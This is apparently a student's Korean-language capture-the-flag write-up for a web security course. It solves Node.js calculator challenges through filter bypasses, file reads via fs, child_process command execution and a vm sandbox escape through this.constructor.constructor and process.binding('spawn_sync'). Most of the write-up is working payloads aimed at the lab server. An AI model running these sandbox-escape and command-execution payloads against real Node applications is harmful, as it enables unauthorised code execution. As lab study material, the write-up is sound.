모던 웹 개발 및 보안

> [19반] 정민석_7000

http://158.247.251.33:1337에서 `test`라는 이름으로 flag를 제출하였습니다.기존에 공부를 하며, node가 어떻게 시스템에 접근하여, 통신을 하고 파일을 읽을 수 있는지 궁금했습니다. 이번 과제를 통하여 node의 구현체를 직접 살펴보고 분석해보며, node가 어떻게 저수준의 작업을 처리하는지 조금이나마 알게되어 매우 유익했습니다! 그리고 `node`가 `process`와 `spawn_sync`에 필수적으로 의존해야하고, `this.constructor.constructor("return process")()` 를 통하여 vm 외부의 프로세스에 접근할 수 있다는 전제 하에, vm이 가진 근본적 설계오류를 확인할 수 있어서 뜻깊었습니다.

WarmingUp

`/flag1.js` , `/flag2?key=give_me_the_flag2` 를 통하여

`flag{warmup:hide_on_bush_o_O}` 를 획득하였습니다.

Calc0

```
FLAG.substr(1);
```

를 입력으로 주어, `flag` 문자열에 대한 필터링을 우회하여

`flag{calc0:f3301248d629772b5d50946475a85f2e4a4f820ef87873a547217338b2dba0ec}` 를 획득하였습니다.

Calc1

```
require("fs").readdirSync(".").toString().substr(13);
```

으로 파일 목록을 확인하였습니다.

```
require("fs")
  .readFileSync("flag_ffe8bab4ea8dc7d3ddad.js")
  .toString()
  .substr(20);
```

으로 `flag{calc1:8e72c4717ecb1cd92d2280273aaf9746db5f6d962726cb8b9e4f5e2052eb6d59}` 를 필터링을 우회하여 획득하였습니다.

Calc2

```
eval("req" + "uire('child_process').execSync('ls ../')");
```

으로 파일 목록을 확인하였습니다.

```
eval("req" + "uire('child_process').execSync('../readflag')");
```

으로 `flag{calc2:e6d5e52bf56251311acefaa166f60094306d7f2e63ce250921eb665d4eff18f1}` 를 필터링을 우회하여 획득하였습니다.

Calc3

https://core-research-team.github.io/2023-03-29/Nodejs-VM-Sandbox-Breakout를 참고하여 문제를 해결하였습니다. 이 문제의 요는 격리된 것처럼 보이는 vm snadbox에서 어떻게 호스트에 접근할 수 있는 지를 찾아야하는 것입니다.

`this.constructor.constructor("return process")()` 를 통하여 vm 외부의 `process` 에 접근이 가능합니다.

```
this.constructor
  .constructor("return process")()
  .mainModule.require("child_process")
  .execSync("ls ../")
  .toString();
```

이에 위의 코드로 디렉토리를 확인할 수 있었습니다.

```
this.constructor
  .constructor("return process")()
  .mainModule.require("child_process")
  .execSync("../readflag")
  .toString();
```

으로 `flag{calc3:81ca8da5f16f168aef2778df66a0baa1b12e9e62451f3b0e2a7bf0ba9bfc6742}` 를 획득하였습니다.

Calc4

문제 중 가장 압권이자 많은 배워갈 것이 있던 문제였습니다. 이 문제는 `mainModule` 이 부재한 상황에서 어떻게 실행파일을 실행할 수 있는 방법을 찾는게 중요합니다.

위에서 보았던

```
this.constructor
  .constructor("return process")()
  .mainModule.require("child_process")
  .execSync("../readflag")
```

은 결국 `spawn` 을 호출하기 위한 과정이었습니다.

```
  const processBindingAllowList = new SafeSet([
    ...
  'process_wrap',
  'spawn_sync',
    ...
]);

  process.binding = function binding(module) {
    module = String(module);
    ...

    if (processBindingAllowList.has(module)) {
      return internalBinding(module);
```

```
    }
      ...
  };

  # 출처: https://github.com/nodejs/node/blob/6cd1c09c1029f51f85baf7b52982f49094437f61/lib/internal/bootstrap/realm.js
```

`process.binding` 은 `processBindingAllowList` 에 매개변수로 받은 모듈 문자열이 있다면 `internalBinding` 을 호출합니다.
`processBindingAllowList` 의 `process_wrap` 혹은 `spawn_sync` 을 이용하여 실행파일을 실행할 수 있습니다.

`child_process` 는 내부적으로 `spawn_sync` 를 호출하기에
(https://github.com/nodejs/node/blob/6cd1c09c1029f51f85baf7b52982f49094437f61/lib/child_process.js#L754)
`spawn_sync` 의 `spawn` 을 이용하였습니다.

이때 `spawn` 의 매개변수를 정확히 입력하지 않으면, 에러가 발생하였습니다. 이에
https://github.com/nodejs/node/blob/master/lib/child_process.js와
https://gist.github.com/CapacitorSet/c41ab55a54437dcbcb4e62713a195822를 참고하여 정확한 매개변수를 입력할 수 있었습니다.

```
// 실제 제출 시에는 공백을 모두 제거하였습니다.
this.constructor
  .constructor("return process")()
  .binding("spawn_sync")
  .spawn({
    file: "ls",
    args: [".."],
    envPairs: ["HOME=/"],
    stdio: [
      { type: "pipe", readable: true },
      { type: "pipe", writable: true },
    ],
  }).output;
```

을 통하여 이전 디렉토리 구조를 탐색하려하였으나, 현재 디렉토리만 출력되었습니다. 이에 `../` 에 `readflag` 가 있다고 가정하였습니다.

```
// 실제 제출 시에는 공백을 모두 제거하였습니다.
this.constructor
  .constructor("return process")()
  .binding("spawn_sync")
  .spawn({
    file: "../readflag",
    args: ["../readflag"],
    stdio: [
      { type: "pipe", readable: true },
      { type: "pipe", writable: true },
    ],
  }).output;
```

를 통하여 `flag{calc4:f1b0eb544ee9fa1871da37bf5ec04fe7bf6eab4bf6a5bef8513244cc828e922b}` 를 획득하였습니다.